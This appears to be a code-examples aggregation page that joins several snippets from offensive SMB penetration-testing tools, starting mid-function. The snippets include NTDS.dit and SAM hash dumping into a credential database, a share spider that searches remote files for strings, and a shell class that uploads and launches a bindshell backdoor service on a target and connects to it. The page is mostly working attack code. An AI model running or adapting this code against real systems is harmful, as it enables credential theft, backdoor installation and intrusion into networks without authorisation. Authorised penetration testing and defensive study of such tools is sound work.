                logging.debug("Dumped hash is a computer account, not adding to db")
        add_ntds_hash.ntds_hashes = 0
        add_ntds_hash.added_to_db = 0

        if self.remote_ops and self.bootkey:
            try:
                if self.args.ntds == 'vss':
                    NTDSFileName = self.remote_ops.saveNTDS()
                    use_vss_method = True

                NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True,
                                 remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False,
                                 pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename,
                                 justUser=None, printUserStatus=False,
                                 perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id))

                self.logger.success('Dumping the NTDS, this could take a while so go grab a redbull...')
                NTDS.dump()

                self.logger.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), self.output_filename + '.ntds',
                                                                                                                highlight(add_ntds_hash.added_to_db)))

            except Exception as e:
                #if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                #    resumeFile = NTDS.getResumeSessionFile()
                #    if resumeFile is not None:
                #        os.unlink(resumeFile)
                self.logger.error(e)

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            NTDS.finish()
Ejemplo n.º 3
0
class SMBSpider:

    def __init__(self, _host, _domain, _port, _user, _passwd, _hashes, _check_content, _share, search_str, _exts, _max_size):

        self.smbconnection = None
        self.host = _host
        self.domain = _domain
        self.port = _port
        self.user = _user
        self.passwd = _passwd
        self.hashes = _hashes
        self.search_str = search_str
        self.check_content = _check_content
        self.share = _share
        self.max_size = _max_size
        self.files_extensions = _exts

    def login(self):
        try:
            self.smbconnection = SMBConnection(self.host, self.host, None, self.port, timeout=2)
            try:
                self.smbconnection.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            print "[+] {}:{} is running {} (name:{}) (domain:{})".format(self.host, self.port, self.smbconnection.getServerOS(), self.smbconnection.getServerName(), self.domain)

            lmhash = ''
            nthash = ''
            if self.hashes:
                lmhash, nthash = self.hashes.split(':')

            self.smbconnection.login(self.user, self.passwd, self.domain, lmhash, nthash)
            return True
        except Exception as e:
            print "[!] {}".format(e)
            return False

    def logoff(self):
        self.smbconnection.logoff()

    def set_share(self, _share):
        self.share = _share

    def list_share(self):
        share_names = []
        for share in self.smbconnection.listShares():
            share_names.append(str(share['shi1_netname'][:-1]))
        return share_names

    def scanwalk(self, subfolder, depth):
        if depth == 0:
            return

        if subfolder == '' or subfolder == '.':
            subfolder = '*'
        elif subfolder.startswith('*/'):
            subfolder = subfolder[2:] + '/*'
        else:
            subfolder = subfolder.replace('/*/', '/') + '/*'

        for result in self.smbconnection.listPath(self.share, subfolder):

            if result.get_longname() not in ['.', '..']:

                # check if the file contains our pattern
                for s in self.search_str:
                    if result.get_longname().lower().find(s) != -1:
                        yield '%s' % os.path.join(subfolder, result.get_longname())

                # if directory, be recursive
                if result.is_directory():
                    for res in self.scanwalk(subfolder.replace('*', '') + result.get_longname(), depth-1):
                        yield res

                # check inside the file to found our pattern
                elif not result.is_directory():
                    if self.max_size > result.get_filesize():
                        if result.get_longname().endswith(self.files_extensions):
                            if self.check_content:
                                for res in self.search_string(os.path.join(subfolder, result.get_longname())):
                                    try:
                                        res = res.encode('utf-8')
                                        yield '%s' % res
                                    except:
                                        pass

    def search_string(self, path):
        path = path.replace('*', '')
        try:
            rfile = RemoteFile(
                                self.smbconnection,
                                path,
                                self.share,
                                access = FILE_READ_DATA
                            )
            rfile.open()
            while True:
                buffer = rfile.read(4096)
                if not buffer:
                    break

                for string in self.search_str:
                    indexes = [m.start() for m in re.finditer(string, buffer, flags=re.IGNORECASE)]
                    for i in indexes:
                        r = "{path} > {content}".format(share=self.share, path=path, content=buffer[i:].strip().split('\n')[0])
                        yield r

            rfile.close()

        except SessionError as e:
            if 'STATUS_SHARING_VIOLATION' in str(e):
                pass

        except Exception, e:
            print e
Ejemplo n.º 4
0
class SMBShell(PsExec, Samr, SvcCtl):
    def __init__(self, target, credential, local_name):

        self.__dstip = target.get_host()
        self.__dstport = target.get_port()
        self.__user = credential.get_user()
        self.__password = credential.get_password()
        self.__lmhash = credential.get_lm_hash()
        self.__nthash = credential.get_nt_hash()
        self.__domain = credential.get_domain()
        self.__is_admin = credential.get_is_admin()
        self.__srcfile = local_name

        self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip
        self.__timeout = 5 * 60

        self.smb = None
        self.tid = None
        self.pwd = '\\'
        self.share = ''
        self.shares_list = []
        self.domains_dict = {}
        self.users_list = set()
        self.completion = []

        self.smbserver_share = ''.join(random.choice(string.ascii_uppercase) for _ in range(8))

        self.connect()
        logger.debug('Connection to host %s established' % target.get_identity())

        self.login()
        logger.debug(
            'Logged in as %s' % (self.__user if not self.__domain else '%s\%s' % (self.__domain, self.__user)))

        logger.info('Looking for a writable share, wait..')
        _ = self.get_writable_share()

        self.info(False)

        if _:
            DataStore.writable_share = _
        else:
            logger.warn('Unable to find a writable share. Going to use %s, but some commands will not work'
                        % DataStore.writable_share)

            if DataStore.version_major >= 6 or (DataStore.version_major == 5 and DataStore.version_minor == 1):
                DataStore.share_path = ntpath.join(DataStore.user_path, 'Windows', 'Temp')
            else:
                DataStore.share_path = ntpath.join(DataStore.user_path, 'WINNT', 'Temp')

    def connect(self):
        self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile, self.__dstport, self.__timeout)

    def login(self):
        try:
            self.smb.login(self.__user, self.__password, self.__domain, self.__lmhash, self.__nthash)
        except socket.error as e:
            logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e))
            raise RuntimeError
        except SessionError as e:
            logger.error('SMB error: %s' % (e.getErrorString(),))
            raise RuntimeError

    def logoff(self):
        self.smb.logoff()

    def smb_transport(self, named_pipe):
        self.trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename=named_pipe,
                                            smb_connection=self.smb, remote_host=self.__dstip)

        try:
            self.trans.connect()
        except socket.error as e:
            logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e))
            raise RuntimeError
        except SessionError as e:
            logger.warn('SMB error: %s' % e.getErrorString())
            raise RuntimeError

    def info(self, display=True):
        self.smb_transport('srvsvc')
        self.__dce = self.trans.get_dce_rpc()
        self.__dce.bind(srvs.MSRPC_UUID_SRVS)

        try:
            self.__resp = srvs.hNetrServerGetInfo(self.__dce, 102)
        except rpcrt.DCERPCException as _:
            # traceback.print_exc()
            logger.warning('Unable to query server information')
            return None

        self.__dce.disconnect()

        DataStore.server_os = self.smb.getServerOS()
        DataStore.server_name = self.smb.getServerName()
        DataStore.server_domain = self.smb.getServerDomain()
        DataStore.server_host = self.smb.getRemoteHost()
        DataStore.user_path = self.__resp['InfoStruct']['ServerInfo102']['sv102_userpath']
        DataStore.version_major = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_major']
        DataStore.version_minor = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_minor']

        if display:
            print('Operating system: %s' % self.smb.getServerOS())
            print('Netbios name: %s' % self.smb.getServerName())
            print('Domain: %s' % self.smb.getServerDomain())
            print('SMB dialect: %s' % check_dialect(self.smb.getDialect()))
            print('NTLMv2 support: %s' % self.smb.doesSupportNTLMv2())
            print('UserPath: %s' % DataStore.user_path)
            print('Simultaneous users: %d' % self.__resp['InfoStruct']['ServerInfo102']['sv102_users'])
            print('Version major: %d' % DataStore.version_major)
            print('Version minor: %d' % DataStore.version_minor)
            print('Comment: %s' % self.__resp['InfoStruct']['ServerInfo102']['sv102_comment'] or '')

            # TODO: uncomment when SMBConnection will have a wrapper
            # getServerTime() method for both SMBv1,2,3
            # print 'Time: %s' % self.smb.get_server_time()

        return self.__resp

    def who(self):
        self.smb_transport('srvsvc')
        self.__dce = self.trans.get_dce_rpc()
        self.__dce.connect()
        self.__dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrSessionEnum(self.__dce, NULL, NULL, 502)

        for session in resp['InfoStruct']['SessionInfo']['Level502']['Buffer']:
            print("Host: %15s, user: %5s, active: %5d, idle: %5d, type: %5s, transport: %s"
                  % (session['sesi502_cname'][:-1], session['sesi502_username'][:-1], session['sesi502_time'],
                     session['sesi502_idle_time'], session['sesi502_cltype_name'][:-1],
                     session['sesi502_transport'][:-1]))

        self.__dce.disconnect()

    def __share_info(self, share):
        self.smb_transport('srvsvc')
        self.__dce = self.trans.get_dce_rpc()
        self.__dce.connect()
        self.__dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrShareGetInfo(self.__dce, '%s\x00' % share, 2)
        self.__dce.disconnect()

        return resp

    def check_share(self, share=None):
        # logger.debug("Into check_share with share: %s, self.share is: %s and self.tid is: %s"
        #              % (share, self.share, self.tid))

        if share:
            self.use(share)
        elif not share and (self.share is None or self.tid is None):
            logger.warn('Share has not been specified, select one')
            self.shares()

    def is_writable_share(self, share):
        _ = ''.join([random.choice(string.ascii_letters) for _ in range(8)])

        try:
            self.use(share, False)
            self.mkdir(_)
        except:
            pass
        else:
            self.rmdir(_)
            return True

        return False

    def get_writable_share(self):
        # Check we can write a directory on the shares, return the first writable one
        for _ in self.smb.listShares():
            share = _['shi1_netname'][:-1]

            try:
                share_info = self.__share_info(share)
            except rpcrt.DCERPCException as _:
                # traceback.print_exc()
                logger.warning('Unable to query share: %s' % share)
                continue

            path = share_info['InfoStruct']['ShareInfo2']['shi2_path'][:-1]

            if self.is_writable_share(share):
                logger.info('Share %s %sis writable' % (share, "(%s) " % path if path else ""))
                DataStore.share_path = path
                return share
            else:
                logger.debug('Share %s %sis not writable' % (share, "(%s) " % path if path else ""))

        return None

    def shares(self):
        shares = self.smb.listShares()
        count = 0

        for i in range(len(shares)):
            count += 1
            name = shares[i]['shi1_netname'][:-1]
            self.shares_list.append(name)

            comment = shares[i]['shi1_remark'][:-1]
            share_type = shares[i]['shi1_type']

            _ = self.__share_info(name)
            max_uses = _['InfoStruct']['ShareInfo2']['shi2_max_uses']  # 4294967295L is unlimited
            current_uses = _['InfoStruct']['ShareInfo2']['shi2_current_uses']
            permissions = _['InfoStruct']['ShareInfo2']['shi2_permissions']  # impacket always returns always 0
            path = _['InfoStruct']['ShareInfo2']['shi2_path']

            print('[%d] %s (comment: %s)' % (count, name, comment))

            print('\tPath: %s' % path)
            print('\tUses: %d (max: %s)' % (current_uses, 'unlimited' if max_uses == 4294967295 else max_uses))
            # print '\tType: %s' % share_type
            # print '\tPermissions: %d' % permissions

        msg = 'Which share do you want to connect to? (default: 1) '
        limit = len(self.shares_list)
        choice = read_input(msg, limit)

        self.use(self.shares_list[choice - 1])

    def use(self, share, display=True):
        if not share:
            raise missingShare('Share has not been specified')

        if self.tid:
            self.smb.disconnectTree(self.tid)

        try:
            self.share = share.strip('\x00')
            self.tid = self.smb.connectTree(self.share)
            self.pwd = '\\'
            self.ls('', False)
        except SessionError as e:
            if not display:
                pass
            elif e.getErrorCode() == nt_errors.STATUS_BAD_NETWORK_NAME:
                logger.warn('Invalid share name')
            elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                logger.warn('Access denied')
            else:
                logger.warn('Unable to connect to share: %s' % (e.getErrorString(),))

    def cd(self, path):
        if not path:
            return

        self.check_share()
        path = ntpath.normpath(path)
        self.oldpwd = self.pwd

        if path == '.':
            return
        elif path == '..':
            sep = self.pwd.split('\\')
            self.pwd = '\\'.join('%s' % s for s in sep[:-1])
            return

        if path[0] == '\\':
            self.pwd = path
        else:
            self.pwd = ntpath.join(self.pwd, path)

        # Let's try to open the directory to see if it's valid
        try:
            fid = self.smb.openFile(self.tid, self.pwd)
            self.smb.closeFile(self.tid, fid)
            logger.warn('File is not a directory')
            self.pwd = self.oldpwd
        except SessionError as e:
            if e.getErrorCode() == nt_errors.STATUS_FILE_IS_A_DIRECTORY:
                return
            elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                logger.warn('Access denied')
            elif e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND:
                logger.warn('File not found')
            else:
                logger.warn('Unable to change directory: %s' % (e.getErrorString(),))

            self.pwd = self.oldpwd

    def get_pwd(self):
        print(ntpath.join(self.share, self.pwd))

    def ls(self, path, display=True):
        self.check_share()

        if not path:
            pwd = ntpath.join(self.pwd, '*')
        else:
            pwd = ntpath.join(self.pwd, path)

        self.completion = []
        pwd = ntpath.normpath(pwd)

        try:
            files = self.smb.listPath(self.share, pwd)
        except SessionError as e:
            if not display:
                pass
            elif e.getErrorCode() in (nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_NO_SUCH_FILE):
                logger.warn('File not found')
            else:
                logger.warn('Unable to list files: %s' % (e.getErrorString(),))

            return

        for f in files:
            if display is True:
                print('%s %8s %10d %s' % (time.ctime(float(f.get_mtime_epoch())),
                                          '<DIR>' if f.is_directory() > 0 else '',
                                          f.get_filesize(), f.get_longname()))

            self.completion.append((f.get_longname(), f.is_directory(), f.get_filesize()))

    def lstree(self, path):
        self.check_share()

        if not path:
            path = ntpath.basename(self.pwd)
            self.cd('..')

        for x in range(0, path.count('\\')):
            print('|  ')

        print('%s' % os.path.basename(path.replace('\\', '/')))

        self.ls('%s\\*' % path, display=False)

        for identified_file, is_directory, size in self.completion:
            if identified_file in ('.', '..'):
                continue

            if is_directory > 0:
                self.lstree(ntpath.join(path, identified_file))
            else:
                for x in range(0, path.count('\\')):
                    print('|  ')

                print('|-- %s (%d bytes)' % (identified_file, size))

    def cat(self, filename):
        self.check_share()

        filename = os.path.basename(filename)
        self.ls(filename, display=False)

        for identified_file, is_directory, size in self.completion:
            if is_directory > 0:
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Reading file %s (%d bytes)..' % (filepath, size))

            try:
                self.fid = self.smb.openFile(self.tid, filepath)
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to access file: %s' % (e.getErrorString(),))

                continue

            offset = 0

            while 1:
                try:
                    data = self.smb.readFile(self.tid, self.fid, offset)
                    data = data.decode("cp437")
                    print(data)
                    if len(data) == 0:
                        break

                    offset += len(data)
                except SessionError as e:
                    if e.getErrorCode() == nt_errors.STATUS_END_OF_FILE:
                        break
                    else:
                        logger.error('Unable to read file content: %s' % (e.getErrorString(),))

            self.smb.closeFile(self.tid, self.fid)

    def download(self, filename, path=None):
        self.check_share()

        basename = os.path.basename(filename)

        if path is None:
            path = '.'
        else:
            path = path.replace('\\', '/')

        self.ls(basename, display=False)

        for identified_file, is_directory, size in self.completion:
            if is_directory > 0:
                self.downloadtree(identified_file)
                self.cd('..')
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Downloading file %s (%d bytes)..' % (filepath, size))

            try:
                fh = open(os.path.join(path, identified_file), 'wb')
                self.smb.getFile(self.share, filepath, fh.write)
                fh.close()
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to download file: %s' % (e.getErrorString(),))

    def downloadtree(self, path):
        self.check_share()

        if not path:
            path = ntpath.basename(self.pwd)
            self.cd('..')

        basename = ntpath.basename(path)
        normpath = path.replace('\\', '/')

        self.cd(basename)

        # Check if the provided path is not a directory (if so, then the
        # working directory has not changed
        if self.pwd == self.oldpwd:
            self.download(basename)
            return

        logger.debug('Recreating directory %s' % self.pwd)
        self.ls(None, display=False)

        if not os.path.exists(normpath):
            os.makedirs(normpath)

        for identified_file, is_directory, size in self.completion:
            if identified_file in ('.', '..'):
                continue

            if is_directory > 0:
                self.downloadtree(ntpath.join(path, identified_file))
                self.cd('..')
            else:
                self.download(identified_file, normpath)

    def upload(self, pathname, destfile=None):
        self.check_share()

        if isinstance(pathname, string_types):
            files = glob.glob(pathname)
        else:
            files = [pathname]

        for filename in files:
            try:
                if isinstance(filename, string_types):
                    fp = open(filename, 'rb')
                else:
                    fp = filename
            except IOError:
                logger.error('Unable to open file %s' % filename)
                return False

            if not destfile or len(files) > 1:
                destfile = os.path.basename(filename)

            destfile = ntpath.join(self.pwd, destfile)

            if isinstance(filename, string_types):
                logger.debug('Uploading file %s to %s..' % (filename, destfile))

            try:
                self.smb.putFile(self.share, destfile, fp.read)
            except SessionError as e:
                traceback.print_exc()
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to upload %s' % destfile)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to upload %s due to share access flags' % destfile)
                else:
                    logger.error('Unable to upload file: %s' % (e.getErrorString(),))

            fp.close()

    def rename(self, srcfile, destfile):
        self.check_share()
        srcfile = ntpath.join(self.pwd, ntpath.normpath(srcfile))
        destfile = ntpath.join(self.pwd, ntpath.normpath(destfile))
        self.smb.rename(self.share, srcfile, destfile)

    def mkdir(self, path):
        self.check_share()
        path = ntpath.join(self.pwd, ntpath.normpath(path))
        self.smb.createDirectory(self.share, path)

    def rm(self, filename):
        self.check_share()

        filename = ntpath.join(self.pwd, ntpath.normpath(filename))
        self.ls(filename, display=False)

        for identified_file, is_directory, size in self.completion:
            if is_directory > 0:
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Removing file %s (%d bytes)..' % (filepath, size))

            try:
                self.smb.deleteFile(self.share, filepath)
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to remove file: %s' % (e.getErrorString(),))

    def rmdir(self, path):
        self.check_share()

        path = ntpath.join(self.pwd, ntpath.normpath(path))
        self.ls(path, display=False)

        for identified_file, is_directory, _ in self.completion:
            if is_directory <= 0:
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Removing directory %s..' % filepath)

            try:
                self.smb.deleteDirectory(self.share, filepath)
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to remove directory: %s' % (e.getErrorString(),))

    def bindshell(self, port):
        connected = False
        srvname = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
        local_file = os.path.join(keimpx_path, 'contrib', 'srv_bindshell.exe')
        remote_file = '%s.exe' % ''.join([random.choice(string.ascii_lowercase) for _ in range(8)])

        if not os.path.exists(local_file):
            raise missingFile('srv_bindshell.exe not found in the contrib subfolder')

        logger.info('Launching interactive OS shell')
        logger.debug('Going to use temporary service %s' % srvname)

        if not port:
            port = 4445
        elif not isinstance(port, int):
            port = int(port)

        self.deploy(srvname, local_file, port, remote_file)

        logger.info('Connecting to backdoor on port %d, wait..' % port)

        for counter in range(0, 3):
            try:
                time.sleep(1)

                if str(sys.version.split()[0]) >= '2.6':
                    tn = Telnet(self.__dstip, port, 3)
                else:
                    tn = Telnet(self.__dstip, port)

                connected = True
                tn.interact()
            except (socket.error, socket.herror, socket.gaierror, socket.timeout) as e:
                if connected is False:
                    warn_msg = 'Connection to backdoor on port %d failed (%s)' % (port, e)

                    if counter < 2:
                        warn_msg += ', retrying..'
                        logger.warn(warn_msg)
                    else:
                        logger.error(warn_msg)
            except SessionError as e:
                # traceback.print_exc()
                logger.error('SMB error: %s' % (e.getErrorString(),))
            except KeyboardInterrupt as _:
                print()
                logger.info('User aborted')
            except Exception as e:
                # traceback.print_exc()
                logger.error(str(e))

            if connected is True:
                tn.close()
                sys.stdout.flush()
                break

        time.sleep(1)
        self.undeploy(srvname)

    def getSecretsDumper(self, history):
        dumper = DumpSecrets(remoteName=self.__destfile, remoteHost=self.__dstip, username=self.__user,
                             password=self.__password, domain=self.__domain, lmhash=self.__lmhash,
                             nthash=self.__nthash, history=history, ds=DataStore)
        return dumper

    def getAtExec(self, command):
        if DataStore.version_major > 6:
            atexec = TSCH_EXEC(self.__destfile if self.__destfile is not None else self.__dstip, username=self.__user,
                               password=self.__password, domain=self.__domain, lmhash=self.__lmhash,
                               nthash=self.__nthash, command=command)
            return atexec
        else:
            logger.warn("This command only works on Windows Vista or newer.")
            return None

    def getRpcDump(self):
        dumper = RPCDump(self.__destfile if self.__destfile is not None else self.__dstip, remoteHost=self.__dstip,
                         username=self.__user, password=self.__password, domain=self.__domain,
                         lmhash=self.__lmhash, nthash=self.__nthash)
        return dumper
Ejemplo n.º 5
0
class SmbCon(Connector):
    def __init__(self, args, loggers, host, db):
        Connector.__init__(self, args, loggers, host)
        self.auth = False
        self.con = False
        self.client = ''.join(
            [choice(ascii_letters + digits) for x in range(7)])
        self.smbv1 = False
        self.os = ''
        self.admin = False
        self.signing = False
        self.os_arch = '0'
        self.remote_ops = None
        self.bootkey = None
        self.db = db
        self.port = 445

    #########################
    # Session Management
    #########################
    def create_smb_con(self):
        # Create SMB Con
        if self.smb_connection():
            self.host_info()
            try:
                # SMB Auth
                self.con.login(self.username,
                               self.password,
                               self.domain,
                               lmhash=self.lmhash,
                               nthash=self.nthash)
                self.auth = True
                self.host_info()
                self.isAdmin()
                self.update_db()
            except Exception as e:
                raise Exception(str(e))
        else:
            raise Exception('Connection to Server Failed')

    def update_db(self):
        self.db.update_host(self.host, self.ip, self.domain, self.os,
                            self.signing)
        if self.username and self.password or self.username and self.hash:
            self.db.update_user(self.username, self.password, self.domain,
                                self.hash)
            if self.admin:
                self.db.update_admin(self.username, self.domain, self.host)

    def logoff(self):
        self.con.logoff()

    def close(self):
        try:
            self.con.logoff()
        except:
            pass

        try:
            self.con.close()
        except:
            pass

    #########################
    # SMB Connection
    #########################
    def smb_connection(self):
        if self.smbv1_con():
            return True
        elif self.smbv3_con():
            return True
        return False

    def smbv1_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     preferredDialect=SMB_DIALECT,
                                     timeout=int(self.timeout))
            self.smbv1 = True
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    def smbv3_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     timeout=int(self.timeout))
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    #########################
    # Authentication (NOT IN USE)
    #########################
    def set_host(self, local_auth):
        # Get domain for authentication purposes
        if local_auth:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()
        else:
            self.domain = self.con.getServerDNSDomainName()
        # Backup for Linux/Unix systems
        if not self.domain:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()

    ################################
    # Enumerate Host information
    ################################
    def host_info(self):
        try:
            self.srvdomain = self.get_domain()
            self.host = self.get_hostname()
            self.os = self.con.getServerOS()
            self.signing = self.con.isSigningRequired()

            arch = self.get_os_arch()
            if arch == 32 or arch == 64:
                self.os_arch = " x{}".format(str(arch))
            else:
                self.os_arch = ''
        except Exception as e:
            self.logger.debug("SMB Host Info: {}".format(str(e)))

    def get_os_arch(self):
        # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(
                    MSRPC_UUID_PORTMAP,
                    transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36',
                                     '1.0'))
            except DCERPCException as e:
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64
        except:
            return 0

    def get_hostname(self):
        if self.con.getServerDNSDomainName() and not self.local_auth:
            if self.con.getServerName().lower(
            ) != self.con.getServerDNSDomainName().lower():
                return (self.con.getServerName() + "." +
                        self.con.getServerDNSDomainName())
            else:
                return self.con.getServerName()
        else:
            return self.con.getServerName()

    def get_domain(self):
        try:
            return self.con.getServerDomain()
        except:
            return self.getServerName()

    def list_shares(self):
        # name=share['shi1_netname'][:-1], description=share['shi1_remark']
        return self.con.listShares()

    ################################
    # Host/Domain Password Policy
    ################################
    def password_policy(self):
        SAMRDump(self).dump(self.host)

    ################################
    # List Shares & Check Share Permissions
    ################################
    def read_perm(self, share):
        try:
            # Silently list path to check access
            self.list_path(share, False)
            return True
        except:
            return False

    def write_perm(self, share):
        try:
            # Create dir to check write access
            tmp = '.' + ''.join(
                [choice(ascii_letters + digits) for x in range(5)])
            self.con.createDirectory(share, tmp)
            self.con.deleteDirectory(share, tmp)
            return True
        except Exception as e:
            return False

    def list_path(self, share, path):
        if not path:
            path = '/*'
        return self.con.listPath(share, path)

    ################################
    # Check if User Admin
    ################################
    def isAdmin(self):
        rpctransport = SMBTransport(self.host,
                                    self.port,
                                    r'\svcctl',
                                    smb_connection=self.con)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host),
                                            'ServicesActive\x00', 0xF003F)
                self.admin = True
                return True
            except scmr.DCERPCException as e:
                pass
        return False

    ################################
    # Dump SAM / LSA
    #   Methods were modified from:
    #     https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
    #     https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
    ################################
    def enable_remoteops(self):
        if self.remote_ops is not None and self.bootkey is not None:
            return
        try:
            self.remote_ops = RemoteOperations(self.con, False, None)
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.fail('RemoteOperations failed for {}: {}'.format(
                self.host, str(e)))

    def sam(self):
        def add_sam_hash(sam_hash, host):
            self.logger.success([self.host, self.ip, "SAM HASH", sam_hash])
            username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
            self.db.update_user(username, '', host,
                                "{}:{}".format(lmhash, nthash))
            add_sam_hash.added_to_db += 1

        try:
            add_sam_hash.added_to_db = 0
            self.enable_remoteops()
            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName,
                                self.bootkey,
                                isRemote=True,
                                perSecretCallback=lambda secret: add_sam_hash(
                                    secret, self.host))
                SAM.dump()
        except Exception as e:
            self.logger.debug('SAM Extraction Failed for {}: {}'.format(
                self.host, str(e)))

        if add_sam_hash.added_to_db > 0:
            self.logger.success([
                self.host, self.ip, "SAM HASH",
                '{} NTLM hashes added to the database'.format(
                    add_sam_hash.added_to_db)
            ])

        try:
            self.remote_ops.finish()
            SAM.finish()
        except Exception as e:
            self.logger.debug(
                ["SAM", "Error calling remote_ops.finish(): {}".format(e)])

    def ntds(self):
        def add_ntds_hash(ntds_hash):
            if ntds_hash.find('$') == -1:
                if "CLEARTEXT" in ntds_hash:
                    try:
                        add_ntds_hash.clear_text += 1
                        username, password = ntds_hash.split(":CLEARTEXT:")
                        domain, username = username.split("\\")
                        self.db.update_user(username, '', domain, password)
                        add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.fail(
                            "Error adding clear text cred to db: {}".format(
                                ntds_hash))
                else:
                    if ntds_hash.find('\\') != -1:
                        domain, hash = ntds_hash.split('\\')
                    else:
                        domain = self.domain
                        hash = ntds_hash

                    try:
                        username, _, lmhash, nthash, _, _, _ = hash.split(':')
                        parsed_hash = ':'.join((lmhash, nthash))
                        if validate_ntlm(parsed_hash):
                            add_ntds_hash.ntds_hashes += 1
                            self.db.update_user(username, '', domain,
                                                "{}:{}".format(lmhash, nthash))
                            add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.debug(
                            "Skipping non-NTLM hash: {}".format(ntds_hash))
            else:
                self.logger.debug("Skipping computer account")

        try:
            self.enable_remoteops()
            use_vss_method = self.args.use_vss
            NTDSFileName = None
            add_ntds_hash.ntds_hashes = 0
            add_ntds_hash.clear_text = 0
            add_ntds_hash.added_to_db = 0
            outfile = os.path.join(os.path.expanduser('~'), '.ar3',
                                   'workspaces', self.args.workspace,
                                   self.domain)

            if self.remote_ops and self.bootkey:
                if self.args.ntds is 'vss':
                    NTDSFileName = self.remote_ops.saveNTDS()
                    use_vss_method = True

                NTDS = NTDSHashes(NTDSFileName,
                                  self.bootkey,
                                  isRemote=True,
                                  history=False,
                                  noLMHash=True,
                                  remoteOps=self.remote_ops,
                                  useVSSMethod=use_vss_method,
                                  justNTLM=False,
                                  pwdLastSet=False,
                                  resumeSession=None,
                                  outputFileName=outfile,
                                  justUser=None,
                                  printUserStatus=False,
                                  perSecretCallback=lambda secretType, secret:
                                  add_ntds_hash(secret))

                self.logger.info([
                    self.host, self.ip, "NTDS",
                    'Dumping NTDS.dit, this could take a minute'
                ])
                NTDS.dump()
